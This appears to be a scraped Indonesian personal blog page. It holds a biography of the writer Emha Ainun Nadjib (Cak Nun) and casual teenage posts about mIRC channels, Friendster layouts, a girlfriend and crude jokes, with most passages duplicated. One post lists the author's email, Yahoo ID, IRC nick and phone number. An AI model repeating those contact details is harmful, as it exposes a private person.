Kemudian pindah ke SMA Muhammadiyah I, Yogyakarta sampai tamat. Lalu sempat melanjut ke Fakultas Ekonomi UGM, tapi tidak tamat. Lima tahun (1970-1975) hidup menggelandang di Malioboro, Yogya, ketika belajar sastra dari guru yang dikaguminya, Umbu Landu Paranggi, seorang sufi yang hidupnya misterius dan sangat memengaruhi perjalanan Emha berikutnya.
Karirnya diawali sebagai Pengasuh Ruang Sastra di harian Masa Kini, Yogyakarta (1970). Karirnya menanjak dan menjadi Wartawan/Redaktur di harian Masa Kini, Yogyakarta (1973-1976), sebelum menjadi pemimpin Teater Dinasti (Yogyakarta), dan grup musik Kyai Kanjeng hingga kini.
Penulis puisi dan kolumnis di beberapa media. Ia juga mengikuti berbagai festival dan lokakarya puisi dan teater. Di antaranya mengikuti lokakarya teater di Filipina (1980), International Writing Program di Universitas Iowa, AS (1984), Festival Penyair Internasional di Rotterdam, Belanda (1984) dan Festival Horizonte III di Berlin Barat, Jerman (1985).
Karya Seni Teater Cak Nun memacu kehidupan multi-kesenian di Yogya. Bersama Halimd HD, networker kesenian melalui Sanggarbambu, aktif di Teater Dinasti dan mengasilkan beberapa reportoar serta pementasan drama.
Di antaranya: Geger Wong Ngoyak Macan (1989, tentang pemerintahan `Raja` Soeharto); Patung Kekasih (1989, tentang pengkultusan); Keajaiban Lik Par (1980, tentang eksploitasi rakyat oleh berbagai institusi modern); Mas Dukun (1982, tentang gagalnya lembaga kepemimpinan modern).
Selain itu, bersama Teater Salahudin mementaskan Santri-Santri Khidhir (1990, di lapangan Gontor dengan seluruh santri menjadi pemain, serta 35.000 penonton di alun-alun madiun). Lautan Jilbab (1990, dipentaskan secara massal di Yogya, Surabaya dan Makassar); dan Kiai Sableng dan Baginda Faruq (1993). Juga mementaskan Perahu Retak (1992, tentang Indonesia Orba yang digambarkan melalui situasi konflik pra-kerajaan Mataram, sebagai buku diterbitkan oleh Garda Pustaka), di samping Sidang Para Setan, Pak Kanjeng, Duta Dari Masa Depan.
Dia juga termasuk kreatif dalam menulis puisi. Terbukti, dia telah menerbitkan 16 buku puisi: "M" Frustasi (1976); Sajak-Sajak Sepanjang Jalan (1978); Sajak-Sajak Cinta (1978); Nyanyian Gelandangan (1982); 99 Untuk Tuhanku (1983); Suluk Pesisiran (1989); Lautan Jilbab (1989); Seribu Masjid Satu Jumlahnya ( 1990); Cahaya Maha Cahaya (1991); Sesobek Buku Harian Indonesia (1993); Abacadabra (1994); dan Syair Amaul Husna (1994) Selain itu, juga telah menerbitkan 30-an buku esai, di antaranya: Dari Pojok Sejarah (1985); Sastra Yang Membebaskan (1985); Secangkir Kopi Jon Pakir (1990); Markesot Bertutur (1993); Markesot Bertutur Lagi (1994); Opini Plesetan (1996); Gerakan Punakawan (1994); Surat Kepada Kanjeng Nabi (1996); Indonesia Bagian Penting dari Desa Saya (1994); Slilit Sang Kiai (1991); Sudrun Gugat (1994); Anggukan Ritmis Kaki Pak Kiai (1995); Bola- Bola Kultural (1996); Budaya Tanding (1995); Titik Nadir Demokrasi (1995); Tuhanpun Berpuasa (1996); Demokrasi Tolol Versi Saridin (1997); Kita Pilih Barokah atau Azab Allah (1997); Iblis Nusantara Dajjal Dunia (1997); 2,5 Jam Bersama Soeharto (1998); Mati Ketawa Cara Refotnasi (1998); Kiai Kocar Kacir (1998); Ziarah Pemilu, Ziarah Politik, Ziarah Kebangsaan (1998); Keranjang Sampah (1998); Ikrar Husnul Khatimah (1999); Jogja Indonesia Pulang Pergi (2000); Ibu Tamparlah Mulut Anakmu (2000); Menelusuri Titik Keimanan (2001); Hikmah Puasa 1 & 2 (2001); Segitiga Cinta (2001); "Kitab Ketentraman" (2001); "Trilogi Kumpulan Puisi" (2001); "Tahajjud Cinta" (2003); "Ensiklopedia Pemikiran Cak Nun" (2003); Folklore Madura (2005); Puasa ya Puasa (2005); Kerajaan Indonesia (2006, kumpulan wawancara); Kafir Liberal (2006); dan, Jalan Sunyi EMHA (Ian L. Betts, Juni 2006).
Pluralisme Cak Nun bersama Grup Musik Kiai Kanjeng dengan balutan busana serba putih, ber-shalawat (bernyanyi) dengan gaya gospel yang kuat dengan iringan musik gamelan kontemporer di hadapan jemaah yang berkumpul di sekitar panggung Masjid Cut Meutia.
Setelah salat tarawih terdiam, lalu sayup-sayup terdengar intro lagu Malam Kudus. Kemudian terdengar syair, "Sholatullah salamullah/ 'Ala thoha Rasulillah/ Sholatullah salamullah/ Sholatullah salamullah/ 'Ala yaasin Habibillah/ 'Ala yaasin Habibillah..." Tepuk tangan dan teriakan penonton pun membahana setelah shalawat itu selesai dilantunkan.
"Tidak ada lagu Kristen, tidak ada lagu Islam. Saya bukan bernyanyi, saya ber-shalawat," ujarnya menjawab pertanyaan yang ada di benak jemaah masjid.
Tampaknya Cak Nun berupaya merombak cara pikir masyarakat mengenai pemahaman agama. Bukan hanya pada Pagelaran Al Quran dan Merah Putih Cinta Negeriku di Masjid Cut Meutia, Jakarta saat itu, ia juga melakukan hal-hal yang kontroversial.
Dalam berbagai komunitas yang dibentuknya, oase pemikiran muncul, menyegarkan hati dan pikiran. Perihal pluralisme, sering muncul dalam diskusi Cak Nun bersama komunitasnya. "Ada apa dengan pluralisme?" katanya.
Menurut dia, sejak zaman kerajaan Majapahit tidak pernah ada masalah dengan pluralisme. "Sejak zaman nenek moyang, bangsa ini sudah plural dan bisa hidup rukun. Mungkin sekarang ada intervensi dari negara luar," ujar Emha.
Dia dengan tegas menyatakan mendukung pluralisme. Menurutnya, pluralisme bukan menganggap semua agama itu sama. Islam beda dengan Kristen, dengan Buddha, dengan Katolik, dengan Hindu.
"Tidak bisa disamakan, yang beda biar berbeda. Kita harus menghargai itu semua," tutur budayawan intelektual itu.
Bersama Grup Musik Kiai Kanjeng, Cak Nun rata-rata 10-15 kali per bulan berkeliling ke berbagai wilayah nusantara, dengan acara massal yang umumnya dilakukan di area luar gedung. Di samping itu, secara rutin (bulanan) bersama komunitas Masyarakat Padang Bulan, aktif mengadakan pertemuan sosial melakukan berbagai dekonstruksi pemahaman atas nilai-nilai, pola-pola komunikasi, metoda perhubungan kultural, pendidikan cara berpikir, serta pengupayaan solusi-solusi masalah masyarakat.
Dalam berbagai forum komunitas Masyarakat Padang Bulan itu, pembicaraan mengenai pluralisme sering muncul. Berkali-kali Cak Nun yang menolak dipanggil kiai itu meluruskan pemahaman mengenai konsep yang ia sebut sebagai manajemen keberagaman itu.
Dia selalu berusaha meluruskan berbagai salah paham mengenai suatu hal, baik kesalahan makna etimologi maupun makna kontekstual. Salah satunya mengenai dakwah, dunia yang ia anggap sudah terpolusi. Menurutnya, sudah tidak ada parameter siapa yang pantas dan tidak untuk berdakwah.
"Dakwah yang utama bukan dengan kata-kata, melainkan dengan perilaku. Orang yang berbuat baik sudah berdakwah," katanya.
Karena itulah ia lebih senang bila kehadirannya bersama istri dan kelompok musik Kiai Kanjeng di taman budaya, masjid, dan berbagai komunitas warga tak disebut sebagai kegiatan dakwah. "Itu hanya bentuk pelayanan. Pelayanan adalah ibadah dan harus dilakukan bukan hanya secara vertikal, tapi horizontal," ujarnya.
Emha merintis bentuk keseniannya itu sejak akhir 1970-an, bekerja sama dengan Teater Dinasti -- yang berpangkalan di rumah kontrakannya, di Bugisan, Yogyakarta. Beberapa kota di Jawa pernah mereka datangi, untuk satu dua kali pertunjukan.
Selain manggung, ia juga menjadi kolumnis. Emha anak keempat dari 15 bersaudara. Ayahnya, Almarhum MA Lathif, adalah seorang petani. Dia mengenyam pendidikan SD di Jombang (1965) dan SMP Muhammadiyah di Yogyakarta (1968). Sempat masuk Pondok Modern Gontor Ponorogo tapi kemudian dikeluarkan karena melakukan demo melawan pemerintah pada pertengahan tahun ketiga studinya.
Kemudian pindah ke SMA Muhammadiyah I, Yogyakarta sampai tamat. Lalu sempat melanjut ke Fakultas Ekonomi UGM, tapi tidak tamat. Lima tahun (1970-1975) hidup menggelandang di Malioboro, Yogya, ketika belajar sastra dari guru yang dikaguminya, Umbu Landu Paranggi, seorang sufi yang hidupnya misterius dan sangat memengaruhi perjalanan Emha berikutnya.
Karirnya diawali sebagai Pengasuh Ruang Sastra di harian Masa Kini, Yogyakarta (1970). Karirnya menanjak dan menjadi Wartawan/Redaktur di harian Masa Kini, Yogyakarta (1973-1976), sebelum menjadi pemimpin Teater Dinasti (Yogyakarta), dan grup musik Kyai Kanjeng hingga kini.
Penulis puisi dan kolumnis di beberapa media. Ia juga mengikuti berbagai festival dan lokakarya puisi dan teater. Di antaranya mengikuti lokakarya teater di Filipina (1980), International Writing Program di Universitas Iowa, AS (1984), Festival Penyair Internasional di Rotterdam, Belanda (1984) dan Festival Horizonte III di Berlin Barat, Jerman (1985).
Karya Seni Teater Cak Nun memacu kehidupan multi-kesenian di Yogya. Bersama Halimd HD, networker kesenian melalui Sanggarbambu, aktif di Teater Dinasti dan mengasilkan beberapa reportoar serta pementasan drama.
Di antaranya: Geger Wong Ngoyak Macan (1989, tentang pemerintahan `Raja` Soeharto); Patung Kekasih (1989, tentang pengkultusan); Keajaiban Lik Par (1980, tentang eksploitasi rakyat oleh berbagai institusi modern); Mas Dukun (1982, tentang gagalnya lembaga kepemimpinan modern).
Selain itu, bersama Teater Salahudin mementaskan Santri-Santri Khidhir (1990, di lapangan Gontor dengan seluruh santri menjadi pemain, serta 35.000 penonton di alun-alun madiun). Lautan Jilbab (1990, dipentaskan secara massal di Yogya, Surabaya dan Makassar); dan Kiai Sableng dan Baginda Faruq (1993). Juga mementaskan Perahu Retak (1992, tentang Indonesia Orba yang digambarkan melalui situasi konflik pra-kerajaan Mataram, sebagai buku diterbitkan oleh Garda Pustaka), di samping Sidang Para Setan, Pak Kanjeng, Duta Dari Masa Depan.
Dia juga termasuk kreatif dalam menulis puisi. Terbukti, dia telah menerbitkan 16 buku puisi: "M" Frustasi (1976); Sajak-Sajak Sepanjang Jalan (1978); Sajak-Sajak Cinta (1978); Nyanyian Gelandangan (1982); 99 Untuk Tuhanku (1983); Suluk Pesisiran (1989); Lautan Jilbab (1989); Seribu Masjid Satu Jumlahnya ( 1990); Cahaya Maha Cahaya (1991); Sesobek Buku Harian Indonesia (1993); Abacadabra (1994); dan Syair Amaul Husna (1994) Selain itu, juga telah menerbitkan 30-an buku esai, di antaranya: Dari Pojok Sejarah (1985); Sastra Yang Membebaskan (1985); Secangkir Kopi Jon Pakir (1990); Markesot Bertutur (1993); Markesot Bertutur Lagi (1994); Opini Plesetan (1996); Gerakan Punakawan (1994); Surat Kepada Kanjeng Nabi (1996); Indonesia Bagian Penting dari Desa Saya (1994); Slilit Sang Kiai (1991); Sudrun Gugat (1994); Anggukan Ritmis Kaki Pak Kiai (1995); Bola- Bola Kultural (1996); Budaya Tanding (1995); Titik Nadir Demokrasi (1995); Tuhanpun Berpuasa (1996); Demokrasi Tolol Versi Saridin (1997); Kita Pilih Barokah atau Azab Allah (1997); Iblis Nusantara Dajjal Dunia (1997); 2,5 Jam Bersama Soeharto (1998); Mati Ketawa Cara Refotnasi (1998); Kiai Kocar Kacir (1998); Ziarah Pemilu, Ziarah Politik, Ziarah Kebangsaan (1998); Keranjang Sampah (1998); Ikrar Husnul Khatimah (1999); Jogja Indonesia Pulang Pergi (2000); Ibu Tamparlah Mulut Anakmu (2000); Menelusuri Titik Keimanan (2001); Hikmah Puasa 1 & 2 (2001); Segitiga Cinta (2001); "Kitab Ketentraman" (2001); "Trilogi Kumpulan Puisi" (2001); "Tahajjud Cinta" (2003); "Ensiklopedia Pemikiran Cak Nun" (2003); Folklore Madura (2005); Puasa ya Puasa (2005); Kerajaan Indonesia (2006, kumpulan wawancara); Kafir Liberal (2006); dan, Jalan Sunyi EMHA (Ian L. Betts, Juni 2006).
Pluralisme Cak Nun bersama Grup Musik Kiai Kanjeng dengan balutan busana serba putih, ber-shalawat (bernyanyi) dengan gaya gospel yang kuat dengan iringan musik gamelan kontemporer di hadapan jemaah yang berkumpul di sekitar panggung Masjid Cut Meutia.
Setelah salat tarawih terdiam, lalu sayup-sayup terdengar intro lagu Malam Kudus. Kemudian terdengar syair, "Sholatullah salamullah/ 'Ala thoha Rasulillah/ Sholatullah salamullah/ Sholatullah salamullah/ 'Ala yaasin Habibillah/ 'Ala yaasin Habibillah..." Tepuk tangan dan teriakan penonton pun membahana setelah shalawat itu selesai dilantunkan.
"Tidak ada lagu Kristen, tidak ada lagu Islam. Saya bukan bernyanyi, saya ber-shalawat," ujarnya menjawab pertanyaan yang ada di benak jemaah masjid.
Tampaknya Cak Nun berupaya merombak cara pikir masyarakat mengenai pemahaman agama. Bukan hanya pada Pagelaran Al Quran dan Merah Putih Cinta Negeriku di Masjid Cut Meutia, Jakarta saat itu, ia juga melakukan hal-hal yang kontroversial.
Dalam berbagai komunitas yang dibentuknya, oase pemikiran muncul, menyegarkan hati dan pikiran. Perihal pluralisme, sering muncul dalam diskusi Cak Nun bersama komunitasnya. "Ada apa dengan pluralisme?" katanya.
Menurut dia, sejak zaman kerajaan Majapahit tidak pernah ada masalah dengan pluralisme. "Sejak zaman nenek moyang, bangsa ini sudah plural dan bisa hidup rukun. Mungkin sekarang ada intervensi dari negara luar," ujar Emha.
Dia dengan tegas menyatakan mendukung pluralisme. Menurutnya, pluralisme bukan menganggap semua agama itu sama. Islam beda dengan Kristen, dengan Buddha, dengan Katolik, dengan Hindu.
"Tidak bisa disamakan, yang beda biar berbeda. Kita harus menghargai itu semua," tutur budayawan intelektual itu.
Organ Tubuh
mau lihat dan mempelajari anatomi manusia gak??
nah,,,,,ini dia, berikut cuplikannya,, (:P~)
Di biologi, organ adalah kelompok jaringan yang melakukan beberapa fungsi. Organ hewan secara umum mencakup jantung, paru-paru, otak, mata, lambung, limpa, pankreas, ginjal, hati, usus, kulit, uterus, saluran urin, tulang, dll. Organ tumbuhan biasanya mencakup akar, batang, daun, bunga, dan buah beserta biji.
Sekelompok organ berhubungan adalah 'sistem organ'. Organel adalah analog organ untuk struktur sub-selular.
nah,,,lo da tau kan??? ini lah dia,,,,,,,,,,,,,,,
saksikannnnnnnnn,,,,,,,,,,,,
huehuehuehuehuee,,,
sangar ahhhhhhhhhhhhhhhhhhhhhhhhhhh
nah,,,,,ini dia, berikut cuplikannya,, (:P~)
Di biologi, organ adalah kelompok jaringan yang melakukan beberapa fungsi. Organ hewan secara umum mencakup jantung, paru-paru, otak, mata, lambung, limpa, pankreas, ginjal, hati, usus, kulit, uterus, saluran urin, tulang, dll. Organ tumbuhan biasanya mencakup akar, batang, daun, bunga, dan buah beserta biji.
Sekelompok organ berhubungan adalah 'sistem organ'. Organel adalah analog organ untuk struktur sub-selular.
nah,,,lo da tau kan??? ini lah dia,,,,,,,,,,,,,,,
saksikannnnnnnnn,,,,,,,,,,,,
huehuehuehuehuee,,,
sangar ahhhhhhhhhhhhhhhhhhhhhhhhhhh
Cewek Cantik
cewek cantik itu maksudnya apaan sih????
mau tau gak cewek cantik itu apa dan bagaimana??
serius???
yakin????
sumpah deh lo????
halahhhhhhhhhhhhhhhhhhhhhhhhhhh,,,,,,nanti boong......
benerennnnnnnnnn????
aaaaaaaaaaaaaaaaaahhh,,,,,, gak yakin aku
OK lah....
aq kasi tau ke kamu yaaaaaaaaaaaaaaaaaaaa.....
cewek cantik itu kayak cewek aq,,,,,,,
hahahahahahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
kena deh,,,,
weksssssssssssssssssssss
mau lihat fotonya gak?????
jangan tertarik yaaaaaaaaaaaaaaaaa,,,,dia pacar aq loch,,,,,,
wiwwwwwwwwwwwwwww,,,,,,,,cantik kali bahhhhhhhhhhhhhhhhhhhhhh,,,,,,
hahahahahaha,,,,(nurut aq sih,,,,yang jelas gua gak penting lo bilang apa, sekali cewekku, tetap cewekku,,,weksssssssss))
mau tau gak cewek cantik itu apa dan bagaimana??
serius???
yakin????
sumpah deh lo????
halahhhhhhhhhhhhhhhhhhhhhhhhhhh,,,,,,nanti boong......
benerennnnnnnnnn????
aaaaaaaaaaaaaaaaaahhh,,,,,, gak yakin aku
OK lah....
aq kasi tau ke kamu yaaaaaaaaaaaaaaaaaaaa.....
cewek cantik itu kayak cewek aq,,,,,,,
hahahahahahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
kena deh,,,,
weksssssssssssssssssssss
mau lihat fotonya gak?????
jangan tertarik yaaaaaaaaaaaaaaaaa,,,,dia pacar aq loch,,,,,,
wiwwwwwwwwwwwwwww,,,,,,,,cantik kali bahhhhhhhhhhhhhhhhhhhhhh,,,,,,
hahahahahaha,,,,(nurut aq sih,,,,yang jelas gua gak penting lo bilang apa, sekali cewekku, tetap cewekku,,,weksssssssss))
Chanel mIRC
apa sih chanel mIRC itu????
hehehehhe,,,,armen jelek,,,armen jelek,,,,
chanel mIRC itu,,,tuh tuh,,,,tempat lo nyari teman kalo lo chating nyari si Etha dolo,,,,
hehehehehehehehe,,,,,,(ngebongkar rahasia si armen aja bah,,,,,)hehehhe,,,
ada chanel besar dan ada chanel² kecil,,,
chanel besar itu contohnya : #Medan, #Jakarta, #Bandung dll deh,,,,masih banyak tuh,,,
wiw,,,,gini² armen juga ada chanel loh di mIRC,,, (chanel ama pacarku dan net tempat kerja ku,,,,weks,,,,,,)
nama chanel nya,,,,,,,,,,
hayooooooooooooooooooooo
apaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
tebak dunkssssssssssssssssssssss
hehehehheheh
namanya :
1. #Dearmanet
2. #dearmaop
3. #Teknikkimia
4. #Jomblo_medan
5. #etha_ (dalam proses,,hehehehehe)
wiw,,,,,,,,,,,,,,,,,,,,,,,,, banyak juga yach,,,,,,cuma chanel yang gua lagi kembangin cuma :
1. #dearmanet (ada scramble, jodoh, cerewet, bom, news, guard, dll)
2. #dearmaop (chanel untuk user yang kena ban di #dearmanet saat main scramble)
lambang chanel ku.....
lihat nieeeeeeeeeeeeeeeeeeeeeeeeeee
keren gak???
ada foto ku dan foto etha ku tersayang lohhhhhhhhhhh.,,,,,,,,.,.weksssssssssssssssss
hehehehhe,,,,armen jelek,,,armen jelek,,,,
chanel mIRC itu,,,tuh tuh,,,,tempat lo nyari teman kalo lo chating nyari si Etha dolo,,,,
hehehehehehehehe,,,,,,(ngebongkar rahasia si armen aja bah,,,,,)hehehhe,,,
ada chanel besar dan ada chanel² kecil,,,
chanel besar itu contohnya : #Medan, #Jakarta, #Bandung dll deh,,,,masih banyak tuh,,,
wiw,,,,gini² armen juga ada chanel loh di mIRC,,, (chanel ama pacarku dan net tempat kerja ku,,,,weks,,,,,,)
nama chanel nya,,,,,,,,,,
hayooooooooooooooooooooo
apaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
tebak dunkssssssssssssssssssssss
hehehehheheh
namanya :
1. #Dearmanet
2. #dearmaop
3. #Teknikkimia
4. #Jomblo_medan
5. #etha_ (dalam proses,,hehehehehe)
wiw,,,,,,,,,,,,,,,,,,,,,,,,, banyak juga yach,,,,,,cuma chanel yang gua lagi kembangin cuma :
1. #dearmanet (ada scramble, jodoh, cerewet, bom, news, guard, dll)
2. #dearmaop (chanel untuk user yang kena ban di #dearmanet saat main scramble)
lambang chanel ku.....
lihat nieeeeeeeeeeeeeeeeeeeeeeeeeee
keren gak???
ada foto ku dan foto etha ku tersayang lohhhhhhhhhhh.,,,,,,,,.,.weksssssssssssssssss
mIRC
tau mIRC???
apakah mIRC untuk chating doang?? bisakan mIRC untuk nyari ilmu (selain ilmu chating loh..)?? nyari duit??
hehehhe,,,bisa aja tuh,,,,
di mIRC itu kan ada namanya :
1. Script
2. Bot
3. Psy
4. Shell
5. Putty
dan masih banyak lagi deh...... susah nyebutinnya one by one, hehehehehe
berarti mIRC tu bukan untuk nyari teman chating dunks???
hehehehee,,,,,,
ini mIRC itu loch,,,, (gua juga tau armen jelek,,,,,,,,,weks,,,) :P~
iiiiiiiiiiii,,,,jijik ahhhhhhhhhhh,,,ada foto armen di dalamnya,,,,heheheheheeee
apakah mIRC untuk chating doang?? bisakan mIRC untuk nyari ilmu (selain ilmu chating loh..)?? nyari duit??
hehehhe,,,bisa aja tuh,,,,
di mIRC itu kan ada namanya :
1. Script
2. Bot
3. Psy
4. Shell
5. Putty
dan masih banyak lagi deh...... susah nyebutinnya one by one, hehehehehe
berarti mIRC tu bukan untuk nyari teman chating dunks???
hehehehee,,,,,,
ini mIRC itu loch,,,, (gua juga tau armen jelek,,,,,,,,,weks,,,) :P~
iiiiiiiiiiii,,,,jijik ahhhhhhhhhhh,,,ada foto armen di dalamnya,,,,heheheheheeee
Layouts
para friendster-ter,,,wolohwoloh,,,,,thh lah namanya itu,,,,yang suka ngedit² layout FS itu loch,,,hehehehhe....kalo pengen layout fs nya bagus,,,,kita bisa belajar dan tukeran² pengalaman gitu,,,, kunjungi aja FS eke,,,,(acem banci aja pon,,,heheheh) : bomber_chelsea@yahoo.co.id, ato yang berdomisili di daerah Sumatera Utara (khususnya Medan), bisa datang ke Dearmanet ( di fs aq lengkap alamatnya), ato kita YM an juga boleh,,,, (bomber_chelsea), ato mIRC juga OK!!!! (chanel #dearmanet, #dearmaop di mIRC), nick ku : ^PoPeYe^, ato smsan/ telpon²an juga Mantap!!!! (061-76235254) xixixixixiixixixixii,,,,,,,,,,,kita buat layout FS yang bagos,,,,,,,,,,,kayak nendang bola......
heheheheeeeeeeeeeeeeeeeeeee
heheheheeeeeeeeeeeeeeeeeeee
Ini Dada Sexy ku,,,,^=^
mau lihat dada paling sexy gak???
boleh² aja sih,,,cuma saran saya jangan nafsulah kalo uda lihatnya,,,
ntar sabun² di kamar mandi lo abis semuanya,,,hahahahahaha,,,,
lihat nie,,,,,,,
dada paling sexy,,,,,
weksssssssssssssssssssssssssssss
boleh² aja sih,,,cuma saran saya jangan nafsulah kalo uda lihatnya,,,
ntar sabun² di kamar mandi lo abis semuanya,,,hahahahahaha,,,,
lihat nie,,,,,,,
dada paling sexy,,,,,
weksssssssssssssssssssssssssssss
Enakan mIRC an.....
teman² yang suka main IRC,,, pasti tau dunks yang namanya script, BOT, psy, shell, putty, dll,,,,, kalo mau,,join aja ke chanel #dearmanet, ntar k ita sharing disana yach,,,,makasih,,
Group di Friendster
wiw,,,Group²an di FS kayak na keren tuh,,,gw aja punya banyak group,
1. "Dearmanet Community"
2. "Teknik Kimia USU dan Indonesia"
3. "Flexi Trendy Community"
teman² semua nya join yach,,,, hiuhihihiiiiii
1. "Dearmanet Community"
2. "Teknik Kimia USU dan Indonesia"
3. "Flexi Trendy Community"
teman² semua nya join yach,,,, hiuhihihiiiiii
Langganan:
Postingan (Atom)